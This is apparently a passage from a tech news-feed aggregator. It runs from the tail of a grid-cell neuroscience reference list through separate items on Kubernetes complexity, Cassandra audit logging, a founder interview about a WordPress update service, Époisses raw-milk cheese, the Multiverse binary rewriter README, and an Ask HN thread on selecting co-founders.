  • 5.

    Mirowski, P. et al. Learning to navigate in complex environments. Intl Conf. Learning Representations (2017).

  • 6.

    Hafting, T., Fyhn, M., Molden, S., Moser, M.-B. & Moser, E. I. Microstructure of a spatial map in the entorhinal cortex. Nature436, 801–806 (2005).

  • 7.

    Fiete, I. R., Burak, Y. & Brookings, T. What grid cells convey about rat location. J. Neurosci.28, 6858–6871 (2008).

  • 8.

    Mathis, A., Herz, A. V. & Stemmler, M. Optimal population codes for space: grid cells outperform place cells. Neural Comput.24, 2280–2317 (2012).

  • 9.

    McNaughton, B. L., Battaglia, F. P., Jensen, O., Moser, E. I. & Moser, M.-B. Path integration and the neural basis of the ‘cognitive map’. Nat. Rev. Neurosci.7, 663–678 (2006).

  • 10.

    Erdem, U. M. & Hasselmo, M. A goal-directed spatial navigation model using forward trajectory planning based on grid cells. Eur. J. Neurosci.35, 916–931 (2012).

  • 11.

    Bush, D., Barry, C., Manson, D. & Burgess, N. Using grid cells for navigation. Neuron87, 507–520 (2015).

  • 12.

    Barry, C. & Burgess, N. Neural mechanisms of self-location. Curr. Biol.24, R330–R339 (2014).

  • 13.

    Mittelstaedt, M.-L. & Mittelstaedt, H. Homing by path integration in a mammal. Naturwissenschaften67, 566–567 (1980).

  • 14.

    Bassett, J. P. & Taube, J. S. Neural correlates for angular head velocity in the rat dorsal tegmental nucleus. J. Neurosci.21, 5740–5751 (2001).

  • 15.

    Kropff, E., Carmichael, J. E., Moser, M.-B. & Moser, E. I. Speed cells in the medial entorhinal cortex. Nature523, 419–424 (2015).

  • 16.

    Srivastava, N., Hinton, G. E., Krizhevsky, A., Sutskever, I. & Salakhutdinov, R. Dropout: a simple way to prevent neural networks from overfitting. J. Mach. Learn. Res.15, 1929–1958 (2014).

  • 17.

    Wills, T. J., Cacucci, F., Burgess, N. & O’Keefe, J. Development of the hippocampal cognitive map in preweanling rats. Science328, 1573–1576 (2010).

  • 18.

    Langston, R. F. et al. Development of the spatial representation system in the rat. Science328, 1576–1580 (2010).

  • 19.

    Zhang, S.-J. et al. Optogenetic dissection of entorhinal-hippocampal functional connectivity. Science340, 1232627 (2013).

  • 20.

    Sargolini, F. et al. Conjunctive representation of position, direction, and velocity in entorhinal cortex. Science312, 758–762 (2006).

  • 21.

    Barry, C., Hayman, R., Burgess, N. & Jeffery, K. J. Experience-dependent rescaling of entorhinal grids. Nat. Neurosci.10, 682–684 (2007).

  • 22.

    Stensola, H. et al. The entorhinal grid map is discretized. Nature492, 72–78 (2012).

  • 23.

    Stemmler, M., Mathis, A. & Herz, A. V. Connecting multiple spatial scales to decode the population activity of grid cells. Sci. Adv.1, e1500816 (2015).

  • 24.

    Doeller, C. F., Barry, C. & Burgess, N. Evidence for grid cells in a human memory network. Nature463, 657–661 (2010).

  • 25.

    Kanitscheider, I. & Fiete, I. Training recurrent networks to generate hypotheses about how the brain solves hard navigation problems. Preprint at https://arxiv.org/abs/1609.09059 (2016).

  • 26.

    Milford, M. J. & Wyeth, G. F. Mapping a suburb with a single camera using a biologically inspired slam system. IEEE Trans. Robot.24, 1038–1053 (2008).

  • 27.

    Hardcastle, K., Ganguli, S. & Giocomo, L. M. Environmental boundaries as an error correction mechanism for grid cells. Neuron86, 827–839 (2015).

  • 28.

    Chen, G., King, J. A., Burgess, N. & O’Keefe, J. How vision and movement combine in the hippocampal place code. Proc. Natl Acad. Sci. USA110, 378–383 (2013).

  • 29.

    Sarel, A., Finkelstein, A., Las, L. & Ulanovsky, N. Vectorial representation of spatial goals in the hippocampus of bats. Science355, 176–180 (2017).

  • 30.

    Dissanayake, M. G., Newman, P., Clark, S., Durrant-Whyte, H. F. & Csorba, M. A solution to the simultaneous localization and map building (slam) problem. IEEE Trans. Robot. Autom.17, 229–241 (2001).

  • 31.

    Raudies, F. & Hasselmo, M. E. Modeling boundary vector cell firing given optic flow as a cue. PLOS Comput. Biol.8, e1002553 (2012).

  • 32.

    Hochreiter, S. & Schmidhuber, J. Long short-term memory. Neural Comput.9, 1735–1780 (1997).

  • 33.

    Bridle, J. S. in Touretzky, D. S. (ed.) Advances in Neural Information Processing Systems2 211–217 (Morgan-Kaufmann, 1990).

  • 34.

    Elman, J. L. & McClelland, J. L. Exploiting lawful variability in the speech wave. Invariance and Variability in Speech Processes1, 360–380 (1986).

  • 35.

    Tieleman, T. & Hinton, G. Lecture 6.5—RmsProp: Divide the gradient by a running average of its recent magnitude. COURSERA: Neural Networks for Machine Learning (2012).

  • 36.

    MacKay, D. J. A practical bayesian framework for backpropagation networks. Neural Comput.4, 448–472 (1992).

  • 37.

    Pascanu, R., Mikolov, T. & Bengio, Y. On the difficulty of training recurrent neural networks. Proc. 30th ICML 28, 1310–1318 (2013).

  • 38.

    Ackley, D. H., Hinton, G. E. & Sejnowski, T. J. A learning algorithm for Boltzmann machines. Cogn. Sci.9, 147–169 (1985).

  • 39.

    Beattie, C. et al. Deepmind lab. Preprint at https://arxiv.org/abs/1612.03801 (2016).

  • 40.

    Doeller, C. F., Barry, C. & Burgess, N. Evidence for grid cells in a human memory network. Nature463, 657–661 (2010).

  • 41.

    Mnih, V. et al. Asynchronous methods for deep reinforcement learning. In Proc. 33nd Intl Conf. Machine Learning 1928–1937 (2016).

  • 42.

    Touretzky, D. S. & Redish, A. D. Theory of rodent navigation based on interacting representations of space. Hippocampus6, 247–270 (1996).

  • 43.

    Foster, D. J., Morris, R. G. & Dayan, P. A model of hippocampally dependent navigation, using the temporal difference learning rule. Hippocampus10, 1–16 (2000).

  • 44.

    Graves, A. et al. Hybrid computing using a neural network with dynamic external memory. Nature538, 471–476 (2016).

  • 45.

    Mnih, V. et al. Human-level control through deep reinforcement learning. Nature518, 529–533 (2015).

  • 46.

    Lin, L.-J. Reinforcement learning for robots using neural networks. Technical Report (Carnegie-Mellon Univ. School of Computer Science, 1993).

  • 47.

    Knight, R. et al. Weighted cue integration in the rodent head direction system. Phil. Trans. R. Soc. Lond. B369, 20120512 (2013).

  • 48.

    Solstad, T., Boccara, C. N., Kropff, E., Moser, M.-B. & Moser, E. I. Representation of geometric borders in the entorhinal cortex. Science322, 1865–1868 (2008).

  • 49.

    Barry, C. & Burgess, N. To be a grid cell: Shuffling procedures for determining gridness. Preprint at https://www.biorxiv.org/content/early/2017/12/08/230250 (2017).

  • Is K8s Too Complicated? 

    $
    0
    0

    Joe Beda had a great twitter thread this morning about the complexity of Kubernetes. You can read it in full, and I suggest you do, but I wanted to quote a few things I found to be particularly thought provoking:

    First off: Kubernetes is a complex system. It does a lot and brings new abstractions. Those abstractions aren't always justified for all problems. I'm sure that there are plenty of people using Kubernetes that could get by with something simpler.

    The story of computing is creating abstractions. Things that feel awkward at first become the new norm. Higher layers aren't simpler but rather better suited to different tasks.

    And, the pick of the bunch:

    That being said, I think that, as engineers, we tend to discount the complexity we build ourselves vs. complexity we need to learn.

    These are presented somewhat out of order, because I wanted to put particular emphasis on the last one, which I think is a significant source of cognitive bias in engineering at large.

    In the real world, these biases are amplified because "things we build ourselves"
    is actually "things we already know", and this includes "things we already learned". I suspect that a significant source of programmers flooding into management is the decreasing wavelength of full scale re-education on how to accomplish the exact same thing slightly differently1 with diminshing returns on tangible benefits.

    I've been "learining" Kubernetes for a significant migration we are attempting at $WORK. I've found it tough going. It's a large thing, and it is very difficult to know how uninformed my opinion is from my limited exposure. I was originally going to write purely about simplicity and cognitive bias, but then Kris Nova tweeted:

    In a single tweet — can you name a technical benefit you and your team have gained by switching to Kubernetes?

    I really love this tweet, because the tone works if you consider it a question from a point of skepticism or as a search for confirmation. The answers, as it happens, will serve you regardless as well. For me, they highlight a particular problem that I've found over and over again with Kubernetes, and since it's been over a year since I've managed to finish a blog post, I might as well just write about it:

    The k8s elevator pitch is straight up dogshit.

    I've started to see, via my own usage, just enough of what Kubernetes brings to the table tech wise to start understanding the value, but it's hard to put into words. You can tell it's hard because you can't find it on twitter.

    Want #Kubernetes Clusters on #AzureStack? This will help you run microservices and container-based workloads using the IaaS capabilities of Azure Stack.

    Yesterday the CERN team were playing "public cloud bingo" at #KubeCon, to see how many public clouds they could attach to their Kubernetes federation.

    Everyone wants to know about @IstioMesh at #KubeCon. @DanCiruli explains the gaps it is plugging in #Kubernetes ecosystems

    Right. So what does it do? What can I do with it that I can't do already? Maybe lets look at the new feature list. Oh nice, looks like we're getting log rotation, I've only had that since 1994.

    The marketing buries the tech lede. I'm not currently working on my resumé, so I don't actually give a shit how cloud native I'm not. In my limited experience, you get:

    • inventory management and visibility
    • common platform for building out tooling related to this (APIs for *)
    • decent abstractions for provisioning and deployment
    • service discovery and config management

    Some of this is covered in their bullet points, but they are pretty abstract, and all high up on the pyramid of needs. You can't build a large system without most of them, but large systems exist, so clearly Kubernetes is not the only way to do any of this. Unfortunately, if you already have a pretty large deployment you probably need multiple clusters.

    However, when you think about them a bit more, they are actually a really neat thing to find in a box somewhere. As someone who has written the better part of two custom databases, being able to hire someone who already knows your tools is fantastic. Having well written public documentation is really nice.

    It also seems structured in a way that we will be able to really leverage open-sourced work in the burgeoning "infrastructure glue" space. This is a very underrated benefit. The promise of some kind of souk or foodtruck full of Chef recipes2 that we can all collaborate on and share has proven to be an empty one. Helm and Istio are both harbingers of Kubernetes' complexity and a testament to it working as a platform in ways the previous generation of half-baked3 devops tools did not.

    Of course, they don't come for free, and even at the surface level there are questions that are difficult to answer or have problematic answers:

    • How can I even what is all this yaml?
    • I'd like to run another process oh I cant unless I sidecar it and intimately describe its every relation with the parent's environment via yaml hokay
    • I want to run a database and I don't want you to reschedule me on a computer without any of my data
    • How can this all go wrong and what happens when it does?

    That first problem is a joke but it also kinda isn't. The second one is a nontrivial annoyance for almost every observability system out there, and making observability harder is a pretty bad first impression for a cloud native management system.

    Alan Perlis said that a programming language was low level when it requires attention to the irrelevant. The rub is that it's difficult to have a firm grasp on relevancy once you add ignorance to the equation, and we're all ignorant in our own ways.

    If you've been around the block developing and deploying large distributed systems, then you know my list of pluses is actually quite compelling. It has an opinion on things that we all agree are important. And for those of us who haven't been around the block, it puts a lot of emphasis on things that will become important as we make our first lap, which is a major contribution to the community.

    But if you have already made decisions, things get complicated.

    Lets use service discovery as an example. We've used service discovery along with health checks and self diagnostics to be able to do some fairly interesting things during outages and, more importantly, slowdowns. These are hard problems, and we've solved them rather crudely in places, but these solutions still give us a level of proven, necessary sophistication for system stability.

    Unfortunately, our approach is slightly incompatible with Kubernetes' centralized one. Usually, when this happens, your needs are just too sophisticated, but in this case Kubernetes' approach is already explicitly complex in order to try to deal at the proper level of sophistication. It's a thoughtful and mature approach, but its structure is just inverted from ours. It's complex in incompatible ways, the worst of both worlds.

    Its config management fares worse, as it is complex and impoverished. There is already a cottage industry of applications attempting to fix this, we'll see if they succeed.

    I've seen this "complex but incompatible" pattern play out a couple times. The attitude towards state in general makes me wonder: do people even store data themselves anymore? Maybe that's what I'm missing.

    It all leaves me concerned that the people with the most to gain will also run into the most problems trying to adopt Kubernetes, and while this is natural (large systems tend to be complex), it does make for bad advertising. "Kubernetes doesn't actually scale" is something I expect to start hearing more and more from people outside the bubble, and it will carry the weight of experience.

    For our particular project, I think we're still getting started when you take into consideration the likely overall lifetime. Still, I suspect that moving an existing architecture wholesale to Kubernetes is a bad idea in general; if you've not grown up within its particular limitations, they will prove to be an endless annoyance4, even if there are a host of other tangible benefits over going solo. This may not be limited to Kubernetes, it may just be true for anything, in which case Kubernetes might indeed provide the path of least pain, its room temperature shattered glass fragments an eden compared to red hot glowing obsidian.

    Given Kubernetes' critical mass, time will make an accurate appraisal of its complexity difficult. Will it be able to gracefully adapt to the kinds of advancements that it itself will bring?

    Like a lot of other tech that has ostensibly come out of google, it will likely have at least one major source of complexity that 95% of people do not need and will not want. I've not gone looking for a custom implementation of http/2 with a broken congestion window, but maybe one will turn up.

    Many of the problems that Kubernetes provides abstractions for, as opposed to solutions for, will age gracelessly as consensus grows on how to approach them. The balkanization of cluster management systems will fade as consensus solves by convention what is currently open to experimentation. Sources of complexity that seem necessary become over-engineering, the equivalent of pluggable server-side template systems in MVC frameworks in the age of one-page react apps talking to JSON endpoints.

    So, is it too complicated? Probably. But it'll take a technology generation or so5 before the simpler core of Kubernetes makes itself known, and what we end up with will probably smell a lot like it.


    1. As an example, I learned JavaScript, then Prototype, then jQuery, then Angular, and when React came out I was so relieved because I could finally decide that the whole enterprise was corrupt and give up any notion of being a "full stack engineer" to work on the backend full time.

    2. I'm going to create SRE/operations software just so I can call it "tortured metaphor" as that seems to be the only real requirement. Its reimagined vocabulary for a bunch of shit we already have words for will be based on dryness, a reference to wit, sarcasm, and the reservoir of joy that led to its creation. Since most people know Chef and Ansible, Saltstack contains grains, pillars, mines, and minions.

    3. micdrop.

    4. Like OSX's frankly inexcusable cmd-tab/alt-tab behaviour.

    5. A normal one, not a JavaScript one, so approximately ~3-5 years.

    May 9

    Cassandra 4.0 to support native audit logging for compliance use cases

    $
    0
    0

    we would like a way to enable cassandra to log database activity being done on our server.

    It should show username, remote address, timestamp, action type, keyspace, column family, and the query statement.
    it should also be able to log connection attempt and changes to the user/roles.

    I was thinking of making a new keyspace and insert an entry for every activity that occurs.
    Then It would be possible to query for specific activity or a query targeting a specific keyspace and column family.


    Build your own X

    $
    0
    0

    README.md

    [Submit tutorial]

    • Build your own 3D Renderer

    • Build your own Blockchain / Cryptocurrency

    • Build your own Bot

    • Build your own Database

    • Build your own Front-end Framework / Library

    • Build your own Docker

    • Build your own Game

    • Build your own Git

    • Build your own Neural Network

    • Build your own Network Stack

    • Build your own Operating System

    • Build your own Programming Language

    • Build your own Regex Engine

    • Build your own Shell

    • Build your own Template Engine

    • Build your own Web Server

    • Uncategorized

    [Submit tutorial]

    How to Build a $750/Month WordPress Business: An Interview with Kernl.us Founder

    $
    0
    0

    Hello! My name is Jack Slingerland and I’m the founder of Kernl.us! Kernl is a WordPress plugin and theme update service. It also handles WordPress license management, WordPress analytics, and WordPress git deployment.

    Key Statistics

    • Monthly Revenue: $750 and growing steadily
    • Date Started / Years in Business: The first commit in Kernl’s codebase was December 14, 2014 but we didn’t open for alpha testing until March 2015 or so.
    • Location / Homebase: Kernl is located in Raleigh, NC.
    • Number of Employees: Just me!

    In the beginning (or even now) do you maintain a full time job while launching?

    Trying to hold down a full-time job and launch a product can be tough and requires some serious time management skills. I currently work full time as a Lead Senior Software Engineer at an education technology company and then try to spend 1 hour a night working on Kernl, and 2 hours in the early morning on weekends. It doesn’t always work out that way but trying to be consistent is helpful for pushing things over the finish line.

    The other thing I’d like to say about having a full-time job and successfully launching a product is that you need to know EXACTLY what you will be doing before you sit down to work. It could be banging out a blog post, setting up some scheduled tweets, writing code, or customer support.

    Whatever it is, just make sure you are ready to work when you sit down. I accomplish this by keeping a Trello board with all of my work in it and doing monthly “sprints”. At the beginning of the month, I take 30 minutes and organize my upcoming work and set goals for the month. Its very similar to Agile except over a longer time span because of the limited amount of time I can spend working on Kernl.

    I try and stay flexible and realistic with my goals that way I don’t feel down if I don’t accomplish everything I had set out to do. You have to celebrate the small wins to stay motivated.

    How did you acquire customers/subscribers/users?

    Getting your first customers requires some creative thinking if you’re bootstrapped like Kernl is. For Kernl there were a few channels that I pursued when I was just starting out.

    Twitter– When Kernl launched there was only 1 or 2 competitors out there and they often did a terrible job of keeping their customers happy. I initially reached out to every single one of these upset people and told them about Kernl, why we were better, and why they should give us a shot. In general, this tactic worked very well and I still have quite of a few of those first customers today.

    StackOverflow– At its core Kernl is a developer tool and developers always go to StackOverflow for help. I was able to answer a few questions on StackOverflow that are a continued source of referrals and new users. This doesn’t always work (sometimes answers get flagged), but for the most part, I’ve been happy with the results.

    Reddit– There are a lot of niche sub-reddit’s about software development and several of them are dedicated to WordPress development. Being able to answer questions in those communities was a decent source of traffic.

    Paid Advertising– I’ve never had any luck with this. I’ve probably spent over $1000 on paid ads but never converted a single user. At this point, I think my ads are the issue, not paid to advertise 😉

    Content Marketing– This has easily been the best source for sign-ups. Generate a useful article and shop it around the WordPress community. If it’s good enough, it picks up steam, drives traffic, and some of that traffic converts to sign-ups. I’ve lately been experimenting with paid guest posts on some higher traffic WordPress content sites as well. The jury is still out on the effectiveness of that though.

    What software / platforms / tools have you utilized since launch?

    Over the course of Kernl’s (short) lifetime I’ve used a bunch of great tools to help get things off the ground.

    MEAN Stack– At the time I started Kernl I already knew Angular, Node, had some experience with Express, and almost none with Mongo. I decided to use Mongo just to learn it better. If I had known Kernl was going to take off the way that it id I wouldn’t have used Mongo though. Not because Mongo is bad but because Kernl’s data is highly relational so something like PostgreSQL or MySQL would have been a better choice.

    Digital Ocean– I can’t speak highly enough about Digital Ocean. I’ve grown from a single $5 droplet to the highly available setup that I have today without much trouble and all while still keeping the monthly bills down. If you’re just getting started and don’t want to invest much in infrastructure, Digital Ocean is a great place to get started.

    AWS S3– All of Kernl’s uploaded files and builds are stored on S3. Ideally, I would like Kernl’s files hosted in one of Digital Ocean’s data centres, but their storage offering is quite mature enough for me yet.

    Compose.io– Kernl’s Mongo database is hosted through Compose.io. It’s a highly available setup that I never have to think about, has great visualizations, and an easy web interface to make edits on the fly (which is great for support)!. Easily the best $18 I spend every month.

    SendGrid– While Kernl doesn’t send a lot of emails, when we do send them having a reliable provider is crucial. SendGrid has been great over the past 2 years.

    Stripe– Billing would be a huge pain in the a** if not for Stripe and it keeps getting better! I know that their pricing can seem expensive, but honestly, if you need to worry about 2.9% you are very likely already successful.

    How did you fund your startup and how do you make money/revenue?

    Kernl is 100% bootstrapped. As far as making money goes, Kernl is a SaaS business with several different plans and some add-on features. Our base plan costs $8/month and our most expensive is $60/month.

    To date, what have been your biggest challenges as a company? What have you done to overcome them?

    Marketing and sales! I’m an engineer originally so figuring out the best way to marketing and sell a product has been a huge learning experience. Even after a few years I think there are a lot of things that I could be doing better, for instance…

    • Sponsor WordCamps
    • More sponsored content slots on popular blogs
    • More relevant Tweets and Facebook posts
    • More focus on getting Kern’s Google page rank score up.

    If you had to do it all over again, would you? What would you do differently?

    Yes, absolutely! It’s been a wonderful experience interacting and learning from the wider WordPress community and learning how to build a product from the ground up. Aside from that, it has also been great for my personal brand. Being able to put “successfully bootstrapped a SaaS web app to profitability” on your resume has a tendency to open doors.

    I don’t know if I would change much if I had to do it over. Overall I made fairly good choices from the beginning that have served me well so far.

    Lastly, if anyone reading this wants to know more about your company… where do we send them?

    You can always head over to our website to learn more about Kernl. If you want to learn more about me you can follow me on Twitter at @jackslingerland.

    Get the latest interviews before they are published

    Subscribe to our mailing list and get interesting stuff and updates to your email inbox.

    Thank you for subscribing.

    Something went wrong.

    Its Reputation and Its Odor Precede It (2003)

    $
    0
    0

    For some, though, including the United States government, the threat of bad bacteria in young raw-milk cheese outweighs the prospect of richer flavors.

    The Food and Drug Administration bans the import of cheeses made with raw milk aged less than 60 days, like Époisses, Brie de Meaux and Vacherin-Mont d'Or, although some still make it past customs and can be found in specialty cheese shops and restaurants across the United States. (Even though the appellation for these cheeses requires the use of raw milk, versions made with pasteurized or heat-treated milk may also be made to sell in the United States.) Young raw-milk cheeses, the agency claims, have not developed acids and salts that fend off pathogens like listeria, salmonella and E. coli.

    But while pasteurizing milk eliminates pathogens, it can also eliminate the microbes that create a cheese's character and flavor.

    Moreover, some dairy scientists say pasteurization also destroys beneficial bacteria that can protect against dangerous pathogens like listeria. Dr. Catherine Donnelly, a microbiologist at the College of Agriculture and Life Sciences of the University of Vermont, who has been studying listeria for 20 years, said such microbes occur far more frequently in cheeses made from pasteurized milk. ''Pasteurization,'' Dr. Donnelly said, ''just gives a false sense of security.''

    Époisses developed a special notoriety in 1999 when two people in France died from listeria-contaminated cheese that was sold as Époisses.

    The French government closed the plant that made the cheese, on the same day that a court ruled that the company had illegally infringed on the identity of the consortium of genuine Époisses makers. No one can say for certain, but it appears that the false Époisses may have been made with pasteurized milk.

    ''It's taken us three years to recover,'' Mr. Gaugry said.

    So how have the French, the Italians, the Swiss managed all these years to eat soft, oozing raw-milk cheeses without massive attacks of food-borne illnesses?

    The dairies in France that produce the finest artisanal cheeses are mostly small in scale compared with industrial producers, said Rob Kaufelt, the owner of Murray's Cheese Shop in Manhattan, and the milk they use comes strictly from local producers. ''I have seen a number of these cheese dairies,'' Mr. Kaufelt said, ''and they are extremely closely inspected.''

    Transparency and traceability, twin watchwords of post-mad-cow food production in Europe, are more easily achieved at this level, he said, so that if something does go wrong, production or distribution can be halted quickly.

    Mr. Gaugry showed me around his family's spotless, white-tiled factory. The method used to produce Époisses is what the French call caillé lactique, in which the curd develops slowly over many hours at low temperatures with very little rennet, a process that encourages the development of both fine flavors and the acidity that helps to inhibit the growth of pathogens.

    Hand-ladled into molds, the curds are set to drain for 24 hours, then unmolded, salted and left to dry and ripen on stainless steel shelves in a pristine white-tiled room with controls on temperature and humidity.

    The final touch in producing a great Époisses is the periodic washing of the rind of each cheese, eight or nine times during the ripening period, which lasts at least 28 days but can go as long as eight weeks. The bath starts off as a salt brine. Then a little marc de Bourgogne, the high-octane distillate of Burgundy wine residues, is added, the proportion of marc increasing each time the cheese is dipped until, finally, the liquid is almost entirely marc.

    As they are bathed and set to mature, the cheeses start to take on color, first a pale biscuit tan and then, as they age, a redder hue from the red mold that gives Époisses much of its character. Finally, the cheeses, each weighing 250 to 350 grams, about 9 to 12 ounces, develop a shiny, golden-red surface, as if glazed with sugar syrup. They are sent to market in small, round wooden boxes, each containing a single cheese.

    (The legal Époisses nearest the United States is in Montreal, in the central Atwater Market. The Fromagerie du Marché Atwater there often has splendid Époisses, including that from the Gaugry family's laiterie; 514-932-4653. Another good cheese shop in the market is Au Paradis du Fromage; 514-933-7422.)

    The best Époisses, Mr. Gaugry said, is made in spring or autumn, when soft rains turn the pasture grasses lush and green and cows produce protein-rich milk. The resulting cheeses are unctuous in texture and intriguingly complex in flavor, with an elusive, buttery, sensuous fragrance that is like white truffles in the mouth -- virtually impossible to define but unmistakable when you taste it.

    The characteristic aroma of Époisses, a pleasantly agreeable barnyard scent, does not intrude on the palate and in fact tends to disappear with age, and is replaced by a mineral complexity, as I found when Mr. Gaugry offered me a taste of his personal best, a cheese that was almost three months old.

    Époisses that old is not generally available so I bought one to take with me back to my hotel, reflecting as I did so that at 90 days of age, it was well within the F.D.A.'s requirement for raw-milk cheeses.

    ''Vous allez parfumer le monde entier,'' Mr. Gaugry said as he shook my hand. ''You're going to perfume the entire world.''

    Continue reading the main story

    A static binary rewriter that does not use heuristics

    $
    0
    0

    README.md

    Multiverse is a static binary rewriter with an emphasis on simplicity and correctness. It does not rely on heuristics to perform its rewriting, and it attempts to make as few assumptions as possible to produce a rewritten binary. Details about Multiverse can be found in the paper "Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics."

    Multiverse currently supports 32-bit and 64-bit x86 binaries.

    Requirements

    Multiverse requires the following Python libraries:

    • capstone (linear disassembler) (we use a slightly modified version that is needed to rewrite 64-bit binaries. Our modified version can be found here)
    • pwntools (for its assembler bindings)
    • pyelftools (for reading elf binaries)
    • elfmanip (for modifying elf binaries) (can be found here)

    Compiling

    Multiverse is written in Python, but its code to generate a binary's global mapping is written in C. This must be compiled before binaries can be rewritten. To do so, run make and the global mapping code will be compiled.

    Running

    Multiverse can be run directly, but this will only rewrite binaries with no instrumentation. This can be used to make sure that everything is installed correctly or to debug changes to the rewriter. Running multiverse.py on a binary will rewrite it. It can be run like this: ./multiverse.py [options] <filename>. There are several flags that can be passed to Multiverse to control how a binary is rewritten:

    • --so to rewrite a shared object
    • --execonly to rewrite only a main binary (it will use the original, unmodified libraries)
    • --nopic to write a binary without support for arbitrary position-independent code. It still supports common compiler-generated pic, but not arbitrary accesses to the program counter. This is not currently recommended for 64-bit binaries.
    • --arch to select the architecture of the binary. Current supported architectures are x86 and x86-64. The default is x86.

    Rewritten binaries are named as the original filename with "-r" appended (e.g. simplest64 becomes simplest64-r).

    Rewritten binaries must be run with the LD_BIND_NOW environment variable set to 1. This prevents control from flowing to the dynamic linker at runtime. Since we do not rewrite the dynamic linker, this is necessary for correct execution (e.g. to run simplest-r, type LD_BIND_NOW=1 ./simplest-r).

    A very simple example program is provided (simplest.c), which is automatically compiled when building Multiverse's global mapping code. This can be used to test that Multiverse is installed correctly. For example, to rewrite only the main executable for simplest64, the 64-bit version of simplest, type ./multiverse.py --execonly --arch x86-64 simplest64 and then run it with LD_BIND_NOW=1 ./simplest64-r.

    rewrite.py is a utility script to rewrite a binary and its libraries, so that multiverse.py does not have to be run manually for each library, and it automatically creates a directory for the rewritten libraries, plus a shell script to run the rewritten binary. For simplicity when rewriting binaries, we recommend using this script. For example, to rewrite simplest64, type ./rewrite.py -64 simplest64, and the script will rewrite the main binary and all its required libraries (as long as they are not dynamically loaded via a mechanism such as dlopen; since statically determining dynamically loaded libraries is difficult, they must be manually extracted and their paths be placed in <filename>-dynamic-libs.txt, and then rewrite.py will rewrite them). This may take several minutes. When it is complete, run the rewritten binary with bash simplest64-r.sh.

    Instrumentation

    Multiverse is used as a Python library to instrument binaries. Right now, the instrumentation API is very simple and consists only of the function set_before_inst_callback, which takes a function that is called for every instruction that is encountered and will insert whichever bytes the callback function returns before the corresponding instruction. The callback function should accept a single argument: an instruction object, as created by the Capstone disassembler. It should return a byte array containing the assembled instructions to be inserted.

    In order to use multiverse, a script should import the Rewriter object (from multiverse import Rewriter) and then create an instance of Rewriter. Its constructor takes three boolean arguments:

    • write_so to rewrite a shared object
    • exec_only to rewrite only a main binary (it will use the original, unmodified libraries)
    • no_pic to write a binary without support for arbitrary position-independent code. It still supports common compiler-generated pic, but not arbitrary accesses to the program counter. This is not currently recommended for 64-bit binaries.

    exec_only and no_pic are performance optimizations that will not work on all binaries. For a main executable, write_so should be False, and for shared objects, write_so should be True. If exec_only is False, then all shared objects used by the binary must be rewritten.

    Two simple instrumentation examples can be found in icount.py (insert code to increment a counter before every instruction) and addnop.py (insert a nop before every instruction). These are currently configured to instrument only the main executable of 64-bit binaries. For example, to insert nops into simplest64, type python addnop.py simplest64, and to run the instrumented binary, type LD_BIND_NOW=1 ./simplest64-r.

    We are working on a higher-level API that will allow code written in C to be seamlessly called at instrumentation points, but it is not yet available.

    Citing

    If you create a research work that uses Multiverse, please cite the associated paper:

    @inproceedings{Multiverse:NDSS18,
      author    = {Erick Bauman and Zhiqiang Lin and Kevin Hamlen},
      title     = {Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics},
      booktitle = {Proceedings of the 25th Annual Network and Distributed System Security Symposium (NDSS'18)},
      address   = {San Diego, CA},
      month     = {February},
      year      = 2018,
    }

    Ask HN: What is your criteria for selecting co-founders?

    $
    0
    0

    Character (integrity, drive to learn & improve) and skills that you respect or admire. Then shared values and life situation: the startup should be the #1 priority for everyone on the core (full-time) founding team. Missing any of those requirements increases the risk of failure.

    Unfortunately for those without a wide/deep network of college friends, former colleagues, etc. it's hard to judge character and skills without a previous friendship or shared work environment, etc. If you're forced to evaluate a potential co-founder in the absence of shared history, work on something small together for a few days/weeks and see how it goes.

    Another thing to do in all cases is to discuss downside/failure scenarios right up-front, and see if there's a sense of openness and fairness. Check out the books The Founder's Dilemmas and Slicing Pie for structuring the conversations, as they give vital ideas and precedents around formalizing the founders' relationships. It's much easier to chat about failure and equity before real work starts, and I've seen many times that it flushes out assumptions and behaviors that you (assuming you're the reasonable and fair one :-) won't want on your team.


    I think it's important to "date" before "getting married." It's easy to just get started with someone you're excited about without talking about all these hard topics first.

    Who is responsible for what?

    How much equity is each founder expecting?

    Who will set the vision and set priorities for projects? To what extent will both founders have a say in that? Can they intelligently have discussions about it? Do they generally agree, or are they going in two different directions?

    How are the conflict resolution skills? Are the founders able to debate something without getting upset? When there's a disagreement, is someone keeping score? That'll create resent.

    Are the founders able to contribute equal amounts of time? Are they both prepared to make sacrifices in other parts of their life to make the startup a success? If one person is spending less time than the other, it creates resent.


    Here's my best tip: Make sure they are in a similar life situation. ie. Wealth, kids, family, etc.

    If one of you has three years of life savings and one of you needs money in three months, that will affect your decision making.

    If one of you wants to take weekends off to go to the kid's soccer games and the other one wants to go out and drink on Friday afternoon, you had better figure that out ahead of time and make sure you're both ok with that.


    Is it important for both people to sign a vesting schedule from day one?

    This seems like a surprisingly common scenario: The initial agreement is a 50/50 split, and then a few months down the road one or both founders feel that 50/50 is no longer fair. If a vesting schedule is signed, you never have to think about this or revisit it.

    The point of a one year cliff is that you can say "Ok" without worrying whether the other person is ineffective. If they are, you part ways.

    This usually kills the company, of course, but squabbling over scraps of equity seems to do at least as much damage. Enough that YC wrote https://blog.ycombinator.com/splitting-equity-among-founders... about it. And it seems especially dangerous if you can't both agree to sign from day one, before doing any significant work.

    But perhaps that's that's too inflexible? I don't know.


    Yes. Never enter a business relationship with someone without setting those terms, in writing, before you begin. Likewise, don't dilly-dally around with starting as a "side project" with the real, secret intention of starting a business. If you suddenly think a project is a business, then from this day forward, you set the terms in writing, then proceed. Nothing from before the decision point matters, even if you've kinda-sorta worked on the "side-project" in various capacities for years. Just make a decision, divide the equity, set the vest, write it down, and move forward with confidence.

    You don't necessarily need to have a full "legal document" at this point, but you do need to have the terms of the agreement clearly documented from the start. If you can't handle this conversation, you can't handle business. There are going to be far more stressful conversations in your future, and this stuff is table stakes.

    The good news is that this is all so standard now that you shouldn't spend more than 30 seconds on vesting: "standard 4-year vest, 1 year cliff, starting from today." Anything more complicated or deviating from this is a strong sign that you're Doing It Wrong. In certain situations (i.e. you didn't follow this advice and worked for a while before formalizing the agreement) you might set the vest start date to something other than "today", but again, it's a warning sign. Try as hard as you can to be boring.

    How Posture Makes Us Human

    $
    0
    0

